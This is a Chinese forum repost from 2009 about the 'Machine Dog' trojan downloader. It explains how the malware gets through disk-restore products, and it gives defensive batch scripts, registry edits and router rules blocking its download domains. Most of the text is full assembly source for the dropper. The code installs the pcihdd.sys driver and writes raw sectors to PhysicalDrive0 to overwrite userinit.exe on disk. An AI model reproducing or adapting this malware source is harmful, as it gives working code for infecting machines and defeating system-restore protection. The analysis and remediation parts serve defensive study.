首页 网络安全 安全学院 查看内容

还是关于 IE70day 话题!(ie6 版本 竟然也会中)

2009-1-10 10:21 723 0

摘要: 今天试验 ie6 版本 竟然中啦 大家小心啦 !(不光是ie7 啊 ie5 ie6  ie7 ie8 都会中的 )是个机器狗 (附件是样本 不懂 不要运行 小心调试 )以下:来源:WinSh...
关键词: nbsp eax userinit push 文件 offset 一个 pcihdd 字节 nNumberOfBytesTo

今天试验 ie6 版本 竟然中啦 大家小心啦 !(不光是ie7 啊 ie5 ie6  ie7 ie8 都会中的 )是个机器狗 (附件是样本 不懂 不要运行 小心调试 )以下:来源:WinShell源码危害比较大.提供出来只是给大家学习和研究之用.切勿用来做非法勾当..否则后果自负! 机器狗的生前身后,曾经有很多人说有穿透还原卡、冰点的病毒,但是在各个论坛都没有样本证据,直到2007年8月29日终于有人在社区里贴出了一个样本。这个病毒没有名字,图标是SONY的机器狗阿宝,就像前辈熊猫烧香一样,大家给它起了个名字叫机器狗。 工作原理: 机器狗本身会释放出一个pcihdd.sys到drivers目录,pcihdd.sys是一个底层硬盘驱动,提高自己的优先级接替还原卡或冰点的硬盘驱动,然后访问指定的网址,这些网址只要连接就会自动下载大量的病毒与恶意插件。然后修改接管启动管理器,最可怕的是,会通过内部网络传播,一台中招,能引发整个网络的电脑全部自动重启。 重点是,一个病毒,如果以hook方式入侵系统,接替硬盘驱动的方式效率太低了,而且毁坏还原的方式这也不是最好的,还有就是这种技术应用范围非常小,只有还原技术厂商范围内有传播,在这方面国际上也只有中国在用,所以,很可能就是行业内杠。 对于网吧而言,机器狗就是剑指网吧而来,针对所有的还原产品设计,可预见其破坏力很快会超过熊猫烧香。好在现在很多免疫补丁都以出现,发稿之日起,各大杀毒软件都以能查杀。 免疫补丁之争: 现在的免疫补丁之数是疫苗形式,以无害的样本复制到drivers下,欺骗病毒以为本身以运行,起到阻止危害的目的。这种形式的问题是,有些用户为了自身安全会在机器上运行一些查毒程序(比如QQ医生之类)。这样疫苗就会被误认为是病毒,又要废很多口舌。 解决之道: 最新的解决方案是将system32/drivers目录单独分配给一个用户,而不赋予administror修改的权限。虽然这样能解决,但以后安装驱动就是一件头疼的事了。 来彻底清除该病毒,处理后重启一下电脑就可以了,之前要打上补丁! 或者这样: 1注册表,组策略中禁止运行userinit.exe 进程 2 在启动项目中加入批处理 A : 强制结束userinit.exe进程 Taskkill /f /IM userinit.exe (其中“/IM”参数后面为进程的图像名,这命令只对XP用户有效) B : 强制删除userinit.exe文件 DEL /F /A /Q %SystemRoot%\system32\userinit.exe C : 创建userinit.exe免疫文件到%SystemRoot%\system32\ 命令: md %SystemRoot%\system32\userinit.exe >nul 2>nul 或者 md %SystemRoot%\system32\userinit.exe attrib +s +r +h +a %SystemRoot%\system32\userinit.exe D : reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Opti\userinit.exe" /v debugger /t reg_sz /d debugfile.exe /f userinit1.exe是正常文件改了名字,多加了一个1,你也可以自己修改,不过要手动修改这4个注册表,并导出,这个批处理才能正常使用。 最新动向 好像机器狗的开发以停止了,从样本放出到现在也没有新的版本被发现,这到让我们非常担心,因为虽着研究的深入,现在防御的手段都是针对病毒工作原理的,一但机器狗开始更新,稍加改变工作原理就能大面积逃脱普遍的防御手段,看来机器狗的爆发只是在等待,而不是大家可以高枕了。 目前网上流传一种叫做机器狗的病毒,此病毒采用hook系统的磁盘设备栈来达到穿透目的的,危害极大,可穿透目前技术条件下的任何软件硬件还原!基本无法靠还原抵挡。目前已知的所有还原产品,都无法防止这种病毒的穿透感染和传播。 机器狗是一个木马下载器,感染后会自动从网络上下载木马、病毒,危及用户帐号的安全。 机器狗运行后会释放一个名为PCIHDD.SYS的驱动文件,与原系统中还原软件驱动进行硬盘控制权的争夺,并通过替换userinit.exe文件,实现开机启动。 >> 那么如何识别是否已中毒呢? 是否中了机器狗的关键就在 Userinit.exe 文件,该文件在系统目录的 system32 文件夹中,点击右键查看属性,如果在属性窗口中看不到该文件的版本标签的话,说明已经中了机器狗。如果有版本标签则正常。 临时解决办法: 一是在路由上封IP: ROS脚本,要的自己加上去 / ip firewall filter add chain=forward content=yu.8s7.net action=reject comment="DF6.0" add chain=forward content=www.tomwg.com action=reject 二是在c:\windows\system32\drivers下建立免疫文件: pcihdd.sys , 三是把他要修改的文件在做母盘的时候,就加壳并替换。 在%systemroot%\system32\drivers\目录下 建立个 明字 为 pcihdd.sys 的文件夹 设置属性为 任何人禁止 批处理 md %systemroot%\system32\drivers\pcihdd.sys cacls %systemroot%\system32\drivers\pcihdd.sys /e /p everyone:n cacls %systemroot%\system32\userinit.exe /e /p everyone:r exit 目前,网络流行以下解决方法,或者可以在紧急情况下救急: 1、首先在系统system32下复制个无毒的userinit.exe,文件名为IGM.exe(文件名可以任意取),这就是下面批处理要指向执行的文件!也就是开机启动userinit.exe的替代品!而原来的userinit.exe保留!其实多复制份的目的只是为了多重保险!可能对防止以后变种起到一定的作用。 2、创建个文件名为userinit.bat的批处理(文件名也可任意取,但要和下面说到的注册表键值保持一致即可),内容如下: start IGM.exe (呵呵,够简单吧?) 3、修改注册表键值,将userinit.exe改为userinit.bat。内容如下: Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] "Userinit"="C:\\WINDOWS\\system32\\userinit.bat," 就这3步,让这条狗再也凶不起来!这是在windows 2003测试的,双击机器狗后,没什么反应,对比批处理也是正常,即这狗根本没改动它!开关机游戏均无异常!但唯一美中不足的是,采用经典模式开机的启动时会出现个一闪而过的黑框! 如果嫌麻烦,也不要紧。上面三条批处理网友已搞好了,直接复制下面的这个存为批处理执行就OK了。三步合二为一 @echo off :::直接复制系统system32下的无毒userinit.exe为IGM.exe cd /d %SystemRoot%\system32 copy /y userinit.exe IGM.exe >nul :::创建userinit.bat echo @echo off >>userinit.bat echo start IGM.exe >>userinit.bat :::注册表操作 reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit / t REG_SZ /d "C:\WINDOWS\system32\userinit.bat," /f >nul :::删掉自身(提倡环保) del /f /q %0 当然,如果实在不行,下载程序killigm。然后直接解压运行里面的程序:机器狗免疫补丁.bat 执行就可以了. 网上流传的另一种新的变种的防止方法 : 开始菜单运行.输入CMD cd ……到drivers md pcihdd.sys cd pcihdd.sys md 1...\ 可防止最新变种。请注意:此法只能是防止,对于杀机器狗还得靠最新的杀毒程序才行。 针对该病毒,反病毒专家建议广大用户及时升级杀毒软件病毒库,补齐系统漏洞,上网时确保打开“网页监控”、“邮件监控”功能;禁用系统的自动播放功能,防止病毒从U盘、MP3、移动硬盘等移动存储设备进入到计算机;登录网游账号、网络银行账户时采用软键盘输入账号及密码 代码如下: .386.model flat,stdcalloption casemap:none include windows.incinclude user32.incinclude kernel32.incinclude advapi32.incincludelib advapi32.libincludelib user32.libincludelib kernel32.lib .data Text            db '对不起,驱动程序的加载没有成功,程序将无法运行.',0FileName        db '\\.\PhysicalHardDisk0',0a_Physicaldrive  db '\\.\PhysicalDrive0',0aFCJ            db '分配内存不成功',0OutputString    db '操作成功', 0Dst             db 10Ch dup(0)hModule         dd 0ERR1            db '寻址文件不成功',0  ERR2            db '不支持的磁盘分区',0ERR3            db '第一个分区不是启动分区',0ERR4            db '该文件是压缩文件,不能操作',0ERR5            db '获取文件原始信息失败',0ERR6            db '打开文件失败',0ERR7            db '加载驱动失败',0 .code Src             db '%SystemRoot%\system32\drivers\pcihdd.sys',0ServiceName     db 'PciHdd',0 ;**********************************************************************************************;退出服务,并删除文件badwolf祝福你好运!http://www.winshell.cn QQ:13699576;**********************************************************************************************QuitService procLOCAL ServiceStatusLOCAL hSCObjectLOCAL hSCManagerLOCAL @FileName[100h]:byte push  0F003Fh    ; dwDesiredAccesspush  0    ; lpDatabaseNamepush  0    ; lpMachineNamecall  OpenSCManagerAor  eax, eaxjz  OpenSCManagerFailmov  hSCManager, eax push  0F01FFh    ; dwDesiredAccesspush  offset ServiceName ; "PciHdd"push  hSCManager ; hSCManagercall  OpenServiceAor  eax, eaxjz  OpenServiceFailmov  hSCObject, eaxlea  eax, ServiceStatuspush  eax    ; lpServiceStatuspush  1    ; dwControlpush  hSCObject  ; hServicecall  ControlService push  hSCObject  ; hServicecall  DeleteService push  hSCObject  ; hSCObjectcall  CloseServiceHandle OpenServiceFail:    ; hSCObjectpush  hSCManagercall  CloseServiceHandle OpenSCManagerFail:    ; nSizepush  100hlea  eax, @FileNamepush  eax    ; lpDstpush  offset Src  ; "%SystemRoot%\\system32\\drivers\\pcihdd.sys"call  ExpandEnvironmentStringsA lea  eax, @FileNamepush  eax    ; lpFileNamecall  DeleteFileAretQuitService endp ;**********************************************************************************************;从资源中加载二进制内容写入文件,并将文件写入环境变量,然后启动服务,最后去掉环境变量,删除文件;**********************************************************************************************LoadServiceFromRes proc  LOCAL ServiceStatusLOCAL hSCObjectLOCAL hSCManagerLOCAL nNumberOfBytesToWriteLOCAL lpBufferLOCAL hResInfoLOCAL @FileName[110h]:byteLOCAL hObjectLOCAL NumberOfBytesWritten push  3E9h    ; lpTypepush  3E9h    ; lpNamepush  hModule    ; hModulecall  FindResourceAor  eax, eaxjz  failed mov  hResInfo,  eaxpush  eax    ; hResInfopush  hModule    ; hModulecall  SizeofResourcemov  nNumberOfBytesToWrite, eax push  hResInfo  ; hResInfopush  hModule    ; hModulecall  LoadResourceor  eax, eaxjz  failed push  eax    ; hResDatacall  LockResourceor  eax, eaxjz  failedmov  lpBuffer,  eax failed:or  eax, eaxjnz  CONTINUEjmp  Exit CONTINUE:    ; nSizepush  100hlea  eax, @FileName push  eax    ; lpDstpush  offset Src  ; "%SystemRoot%\\system32\\drivers\\pcihdd.sys"call  ExpandEnvironmentStringsA push  0    ; hTemplateFilepush  80h    ; dwFlagsAndAttributespush  4    ; dwCreationDispositionpush  0    ; lpSecurityAttributespush  0    ; dwShareModepush  40000000h  ; dwDesiredAccesslea  eax, @FileNamepush  eax    ; lpFileNamecall  CreateFileAcmp  eax, 0FFFFFFFFhjnz  short CREATEFILEOKjmp  Exit CREATEFILEOK:mov  hObject, eaxpush  0    ; lpOverlappedlea  eax, NumberOfBytesWrittenpush  eax    ; lpNumberOfBytesWrittenpush  nNumberOfBytesToWrite ; nNumberOfBytesToWritepush  lpBuffer  ; lpBufferpush  hObject   ; hFilecall  WriteFile push  hObject          ; hFilecall  SetEndOfFile push  hObject    ; hFilecall  FlushFileBufferspush  hObject   ; hObjectcall  CloseHandle        push  0F003Fh         ; dwDesiredAccesspush  0    ; lpDatabaseNamepush  0    ; lpMachineNamecall  OpenSCManagerAor  eax, eaxjz  OpenSCManagerFailedmov  hSCManager, eax push  0    ; lpPasswordpush  0    ; lpServiceStartNamepush  0    ; lpDependenciespush  0    ; lpdwTagIdpush  0    ; lpLoadOrderGrouplea  eax, @FileNamepush  eax    ; lpBinaryPathNamepush  0    ; dwErrorControlpush  3    ; dwStartTypepush  1    ; dwServiceTypepush  0    ; dwDesiredAccesspush  offset ServiceName ; "PciHdd"push  offset ServiceName ; "PciHdd"push  hSCManager      ; hSCManagercall  CreateServiceAor  eax, eaxjz  CreateServiceFailedmov  hSCObject, eaxpush  hSCObject  ; hSCObjectcall  CloseServiceHandlejmp  OPENSERVICE CreateServiceFailed:    push  0F01FFh            ; dwDesiredAccesspush  offset ServiceName ; "PciHdd"push  hSCManager      ; hSCManagercall  OpenServiceAor  eax, eaxjz  short OpenServiceFailedmov  hSCObject, eaxlea  eax, ServiceStatuspush  eax    ; lpServiceStatuspush  1    ; dwControlpush  hSCObject  ; hServicecall  ControlServicepush  hSCObject  ; hServicecall  DeleteServicepush  hSCObject  ; hSCObjectcall  CloseServiceHandle OpenServiceFailed:    push  0               ; lpPasswordpush  0    ; lpServiceStartNamepush  0    ; lpDependenciespush  0    ; lpdwTagIdpush  0    ; lpLoadOrderGrouplea  eax, @FileNamepush  eax    ; lpBinaryPathNamepush  0    ; dwErrorControlpush  3    ; dwStartTypepush  1    ; dwServiceTypepush  0    ; dwDesiredAccesspush  offset ServiceName ; "PciHdd"push  offset ServiceName ; "PciHdd"push  hSCManager ; hSCManagercall  CreateServiceAor  eax, eaxjz  QUITmov  hSCObject, eaxpush  hSCObject  ; hSCObjectcall  CloseServiceHandlejmp  OPENSERVICE QUIT:jmp  Exit OPENSERVICE:    push  10h                ; dwDesiredAccesspush  offset ServiceName ; "PciHdd"push  hSCManager ; hSCManagercall  OpenServiceAor  eax, eaxjz  OPENSERVICEFAILEDmov  hSCObject, eaxpush  0    ; lpServiceArgVectorspush  0    ; dwNumServiceArgspush  hSCObject  ; hServicecall  StartServiceAor  eax, eaxjnz  StartServiceOKjmp  Exit StartServiceOK:    ; hSCObjectpush  hSCObjectcall  CloseServiceHandlepush  hSCManager ; hSCObjectcall  CloseServiceHandlejmp  OpenSCManagerFailed OPENSERVICEFAILED:    push  hSCManager call  CloseServiceHandlejmp  Exit OpenSCManagerFailed:    ; nSizepush  100hlea  eax, @FileNamepush  eax    ; lpDstpush  offset Src  ; "%SystemRoot%\\system32\\drivers\\pcihdd.sys"call  ExpandEnvironmentStringsAlea  eax, @FileNamepush  eax    ; lpFileNamecall  DeleteFileAret Exit:    push  10hpush  0    ; lpCaptionpush  offset Text  ; "出错"push  0    ; hWndcall  MessageBoxApush  0    ; uExitCodecall  ExitProcessLoadServiceFromRes  endp aSystemrootSyst  db '%SystemRoot%\System32\Userinit.exe',0;***************************************************************************************************************;簇是磁盘使用的基本单元。 组成一个簇的扇区数总是2的幂数,当卷被格式化时此数值是固定的。 此数值称为簇要素,;通常用字节引用,如8KB,2KB。 NTFS通过每件事的逻辑簇数来寻址。;逻辑簇数(LCN):卷里的每个簇都给定了一个顺序号,这是它的逻辑簇数。LCN0(零)指向卷的第一个簇(引导扇区)。;                用LCN乘以簇的大小就可以算出在卷里的物理偏移量。;;实际簇数(VCN):一个非常驻的流的每个簇都给定了一个顺序号,这是它的实际簇数。VCN0(零)指向这个流的第一个簇。;               要定位磁盘上的流,就必须把VCN转换成LCN.这是在数据运转的帮助下完成的。;;数据运转:每个LCN的连续模块都被赋予了一个数据运转,它包含一个VCN,一个LCN和一个长度。 ;         当NTFS需要在磁盘上找到一个对象时,就查看数据运转中的VCN来得到LCN。 ;其他信息:; 1)当卷被格式化时可以选择簇的大小。; 2)一个卷的簇的大小存储在$Boot里。也定义了此值在一个MFT文件记录和一个索引记录的簇里。; 3)如果扇区数在用,NTFS通过引用簇数可以寻址更大的磁盘。 ;下面是一个关于允许和默认簇的大小的列表: ;Windows NT;    512 bytes, 1KB, 2KB or 4KB;Windows 2000, Windows XP;   512 bytes, 1KB, 2KB, 4KB, 8KB, 16KB, 32KB or 64KB ;卷的大小   默认的簇的大小;< 512MB   Sector size;< 1GB    1KB;< 2GB    2KB;> 2GB    4KB;***************************************************************************************************************DoMyWork proc  lpFileName   ;成功返回值为0 LOCAL lpBufferLOCAL nNumberOfBytesToWriteLOCAL hDeviceLOCAL lDistanceToMoveLOCAL HighOffsetLOCAL dwLowPartofLcnLOCAL dwHighPartofLcnLOCAL StartSectorCLOCAL hFileLOCAL PhysicalBuff[512]:BYTELOCAL Buffer[512]:BYTELOCAL OutBuffer[272]:BYTELOCAL dwRetLOCAL DistanceToMoveHigh:DWORDLOCAL InBuffer[8]:BYTELOCAL hObject pushapush  0    ; hTemplateFilepush  0    ; dwFlagsAndAttributespush  3    ; dwCreationDispositionpush  0    ; lpSecurityAttributespush  0    ; dwShareModepush  80000000h  ; dwDesiredAccesspush  offset FileName  ; "\\\\.\\PhysicalHardDisk0" 是pcihdd.sys创建的符号链接call  CreateFileAcmp  eax, 0FFFFFFFFhjz  CreateFileFailedmov  hDevice, eax push  0    ; hTemplateFilepush  20000000h  ; dwFlagsAndAttributespush  3    ; dwCreationDispositionpush  0    ; lpSecurityAttributespush  3    ; dwShareModepush  80000000h  ; dwDesiredAccesspush  lpFileName  ; 打开userinit.execall  CreateFileAcmp  eax, 0FFFFFFFFhjz  CreateUserInitFileFailedmov  hObject, eax        push    8       lea     eax,InBuffer       push    eax       call    RtlZeroMemory push  110h            ;初始化lea  eax, OutBufferpush  eaxcall  RtlZeroMemory push  0    ; lpOverlappedlea  eax, DistanceToMoveHighpush  eax    ; lpBytesReturnedpush  110h    ; nOutBufferSizelea  eax, OutBufferpush  eax    ; lpOutBufferpush  8    ; nInBufferSizelea  eax, InBufferpush  eax    ; lpInBufferpush  90073h    ; dwIoControlCode = FSCTL_GET_RETRIEVAL_POINTERSpush  hObject   ; hDevicecall  DeviceIoControl ;通过FSCTL_GET_RETRIEVAL_POINTERS获取userinit文件数据的分布信息or  eax, eaxjz  DeviceIoControlFailed ;这个结构是8字节对齐的,结构长度32字节  ;typedef struct RETRIEVAL_POINTERS_BUFFER;{;    DWORD ExtentCount;;    LARGE_INTEGER StartingVcn;;    struct;    {;        LARGE_INTEGER NextVcn;;        LARGE_INTEGER Lcn;;    } Extents[1];;} RETRIEVAL_POINTERS_BUFFER, *PRETRIEVAL_POINTERS_BUFFER; ;typedef union union ;{  ;   struct ;   {    ;       DWORD LowPart;    ;       LONG HighPart;  ;   };  ;   LONGLONG QuadPart;;} LARGE_INTEGER, *PLARGE_INTEGER; lea  edi, OutBuffer    ;OutBuffer是上面结构体指针mov  ebx, [edi]        ;ExtentCount = Extents数组元素个数lea  edi, [edi+10h]    ;指向Extents数组首地址,根据字节对齐mov  eax, DistanceToMoveHighor  ebx, ebx          ;判断ExtentCount是否为0jz  ExtentCountIsZero mov  eax, [edi+8]    ;指向Extents[0].Lcn.LowPartmov  edx, [edi+0Ch]  ;指向Extents[0].Lcn.HighPartcmp  eax, 0FFFFFFFFhjz  FEIHUAcmp  edx, 0FFFFFFFFhjz  FEIHUA mov  dwLowPartofLcn, eax  ;保存lcn低32位mov  dwHighPartofLcn, edx ;保存lcn高32位 push  0    ; lpOverlappedlea  eax, DistanceToMoveHighpush  eax    ; lpNumberOfBytesReadpush  200h    ; nNumberOfBytesToReadlea  eax, Bufferpush  eax    ; lpBufferpush  hObject          ; hFilecall  ReadFile        ;读取userinit文件开头512字节 push  hObject          ; hObjectcall  CloseHandle     mov  hObject, 0      ;关闭文件 push  0    ; hTemplateFilepush  0    ; dwFlagsAndAttributespush  3    ; dwCreationDispositionpush  0    ; lpSecurityAttributespush  3    ; dwShareModepush  0C0000000h  ; dwDesiredAccesspush  offset a_Physicaldrive ; "\\\\.\\PhysicalDrive0"call  CreateFileA        ;打开物理硬盘读写cmp  eax, 0FFFFFFFFhjz  OPENPHYSICSFAILEDmov  hFile, eax push  0    ; dwMoveMethodpush  0    ; lpDistanceToMoveHighpush  0    ; lDistanceToMovepush  hFile          ; hFilecall  SetFilePointer  ; 定位 push  0    ; lpOverlappedlea  eax, DistanceToMoveHighpush  eax    ; lpNumberOfBytesReadpush  200h    ; nNumberOfBytesToReadlea  eax, PhysicalBuffpush  eax    ; lpBufferpush  hFile          ; hFilecall  ReadFile        ;读取硬盘主引导分区MBR;  ;  0000 |------------------------------------------------| ;            |                                                | ;            |                                                | ;            |             Master Boot Record                 | ;            |                                                | ;            |                                                | ;            |             主引导记录(446字节)                | ;            |                                                | ;            |                                                | ;            |                                                | ;      01BD  |                                                |;      01BE  |------------------------------------------------|;            |                                                |;      01CD  |             分区信息  1(16字节)                | ;      01CE  |------------------------------------------------| ;            |                                                | ;      01DD  |             分区信息  2(16字节)                | ;      01DE  |------------------------------------------------| ;            |                                                |;      01ED  |             分区信息  3(16字节)                |;      01EE  |------------------------------------------------| ;            |                                                | ;      01FD  |             分区信息  4(16字节)                | ;            |------------------------------------------------|      ;            | 01FE                | 01FF                     | ;            |         55          |           AA             | ;            |------------------------------------------------|;分区表;;    分区表是一个链表,主分区表是分区链表的第一个节点。由于主分区表中只能分四个分区, 无法满足需求, 因此设计了一种扩展分区格式。扩展分区就是分区表的第二个节点到最后一个节点。;;    主分区表是从主引导扇区第0x1BE字节开始的,共64个字节,最后是0x55AA。64个字节的分区信息分为四组,每16字节为一组。每组的数据结构是这样的:;;typedef struct;{;    BYTE  byState;//分区状态, 0 = 未激活, 0x80 = 激活 ;    BYTE  byBeginHead;//分区起始磁头号;    WORD  wBeginSC;//分区起始扇区和柱面号, 底字节的低6位为扇区号, 高2位为柱面号的第 9,10 位, 高字节为柱面号的低 8 位;    BYTE  byFSID;  //分区类型, 如 0x0B = FAT32, 0x83 = Linux 等, 00 表示此项未用;    BYTE  byEndHead;//分区结束磁头号;    WORD  wEndSC;//分区结束扇区和柱面号;    DWORD dwInfoAreaSectors;//在线性寻址方式下的分区相对扇区地址;    DWORD dwSectors;//分区大小 (总扇区数);} INFOAREA_PARAM;//磁盘的分区信息 lea  edi, PhysicalBuffcmp  byte ptr [edi+1BEh], 80h  ;byState判断是否为活动分区jnz  NOTACTIVEDISKmovzx  ebx, byte ptr [edi+1C2h]  ;byFSID判断分区类型cmp  ebx, 0Bhjz  FAT32                     ;Win95 FAT32 cmp  ebx, 0Chjz  FAT32                     ;Win95 FAT32 LBAcmp  ebx, 7jnz  NTFS                      ;HPFS/NTFS FAT32:mov  eax, [edi+1C6h]          ;C盘起始扇区(首扇区的相对扇区号)mov  StartSectorC, eaxxor  edx, edximul  eax, 200h                ;求出实际的字节偏移mov  DistanceToMoveHigh, edxmov  ecx, eax push  0    ; dwMoveMethodlea  eax, DistanceToMoveHighpush  eax    ; lpDistanceToMoveHighpush  ecx    ; lDistanceToMovepush  hFile          ; hFilecall  SetFilePointer   ;定位到硬盘C盘起始扇区的绝对位置 push  0    ; lpOverlappedlea  eax, DistanceToMoveHighpush  eax    ; lpNumberOfBytesReadpush  200h    ; nNumberOfBytesToReadlea  eax, PhysicalBuffpush  eax    ; lpBufferpush  hFile  ; hFilecall  ReadFile        ;读硬盘C盘起始扇区 即:第一个分区的引导扇区BPB lea  edi, PhysicalBuffmovzx  eax, word ptr [edi+0Eh]; BPB_RsvdSecCnt = 保留扇区数量add  StartSectorC, eaxcmp  ebx, 0Bh               ;Win95 FAT32 jz  WIN95FAT32cmp  ebx, 0Ch               ;Win95 FAT32 LBAjnz  short FAT32LBA WIN95FAT32:movzx  ecx, byte ptr [edi+10h]; BPB_NumFATS = 每个分区占用的FAT表 数mov  eax, [edi+24h]         ; BPB_FATSz32 = 每个FAT占用扇区数xor  edx, edximul  eax, ecxadd  StartSectorC, eax      ;数据记录起始扇区 FAT32LBA:mov  eax, dwLowPartofLcnmov  edx, dwHighPartofLcnmovzx  ecx, byte ptr [edi+0Dh]   ;BPB_SecPerClus =  每簇多少扇区mov  nNumberOfBytesToWrite, ecximul  eax, ecxadd  eax, StartSectorCadc  edx, 0imul  eax, 200h             ;求出绝对偏移字节位置mov  HighOffset, edx       ;偏移高32位mov  lDistanceToMove, eax  ;低32位 push  0    ; dwMoveMethodlea  eax, HighOffsetpush  eax    ; lpDistanceToMoveHighpush  lDistanceToMove ; lDistanceToMovepush  hFile          ; hFilecall  SetFilePointer push  0    ; lpOverlappedlea  eax, DistanceToMoveHighpush  eax    ; lpNumberOfBytesReadpush  200h    ; nNumberOfBytesToReadlea  eax, PhysicalBuffpush  eax    ; lpBufferpush  hFile    ; hFilecall  ReadFile        ;在找到的硬盘扇区读 lea  edi, PhysicalBufflea  esi, Buffermov  ecx, 200hrepe cmpsb              ;通过对比ReadFile读取的文件数据和自己定位后直接读取所得到的文件数据,确定定位是否正确 or  ecx, ecxjnz  DIFF           push  0    ; dwMoveMethodlea  eax, HighOffsetpush  eax    ; lpDistanceToMoveHighpush  lDistanceToMove ; lDistanceToMovepush  hFile  ; hFilecall  SetFilePointer  ;重新定位到上面找到的硬盘扇区处 mov  eax, nNumberOfBytesToWriteshl  eax, 9                      ;这个值是作者估算的mov  nNumberOfBytesToWrite, eax push  nNumberOfBytesToWrite ; dwBytespush  40h          ; uFlagscall  GlobalAllocor  eax, eaxjz  ALLOCMEMORYFAILEDmov  lpBuffer,eax mov  ecx, offset MessageBoxAsub  ecx, offset Src  ; "%SystemRoot%\\system32\\drivers\\pcihdd.sys"        ;把整个代码体作为参数传递给pcihdd.sys,控制码0xF0003C04,push  0    ; lpOverlappedlea  eax, DistanceToMoveHighpush  eax    ; lpBytesReturnedpush  nNumberOfBytesToWrite ; nOutBufferSizepush  lpBuffer  ; lpOutBufferpush  ecx    ; nInBufferSizepush  offset Src  ; "%SystemRoot%\\system32\\drivers\\pcihdd.sys"push  0F0003C04h  ; dwIoControlCodepush  hDevice    ; hDevicecall  DeviceIoControl ;并将pcihdd返回的数据直接写入userinit.exe的第一簇push  0    ; lpOverlappedlea  eax, DistanceToMoveHighpush  eax    ; lpNumberOfBytesWrittenpush  nNumberOfBytesToWrite ; nNumberOfBytesToWritepush  lpBuffer  ; lpBufferpush  hFile    ; hFilecall  WriteFile push  hFile  ; hFilecall  FlushFileBuffersmov  dwRet, 0jmp  OVER ALLOCMEMORYFAILED:   ; "分配内存不成功"mov  dwRet, offset aFCJ OVER:      ; hMempush  lpBuffercall  GlobalFreejmp  FINISHED DIFF:mov  dwRet, offset ERR1jmp  FINISHED NTFS:mov  dwRet, offset ERR2jmp  FINISHED NOTACTIVEDISK:  mov  dwRet, offset ERR3 FINISHED:    ; hObjectpush  hFilecall  CloseHandlejmp  OPENPHYSICSFAILED FEIHUA:mov  dwRet, offset ERR4 OPENPHYSICSFAILED: ;打开硬盘设备失败jmp  ExtentCountIsZero DeviceIoControlFailed:mov  dwRet, offset ERR5 ExtentCountIsZero:cmp  hObject, 0jz  ZeroObjectpush  hObject  ; hObjectcall  CloseHandlejmp  ZeroObject CreateUserInitFileFailed:mov  dwRet, offset ERR6 ZeroObject:    ; hObjectpush  hDevicecall  CloseHandlejmp  EXIT CreateFileFailed:mov  dwRet, offset ERR7 EXIT:popamov  eax, dwRetret   DoMyWork endp start procpush  0    ; lpModuleNamecall  GetModuleHandleAmov  hModule, eaxcall  LoadServiceFromRes ;load service from resource push  100h    ; nSizepush  offset Dst  ; lpDstpush  offset aSystemrootSyst ; "%SystemRoot%\\System32\\Userinit.exe"call  ExpandEnvironmentStringsA push  offset Dst  ; lpFileNamecall  DoMyWorkor  eax, eaxjnz  FAILEDpush  offset OutputString ; call  OutputDebugStringAjmp  Exit FAILED:    ; lpOutputStringpush  eaxcall  OutputDebugStringA Exit:call  QuitServicepush  0    ; uExitCodecall  ExitProcessstart endp end start
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部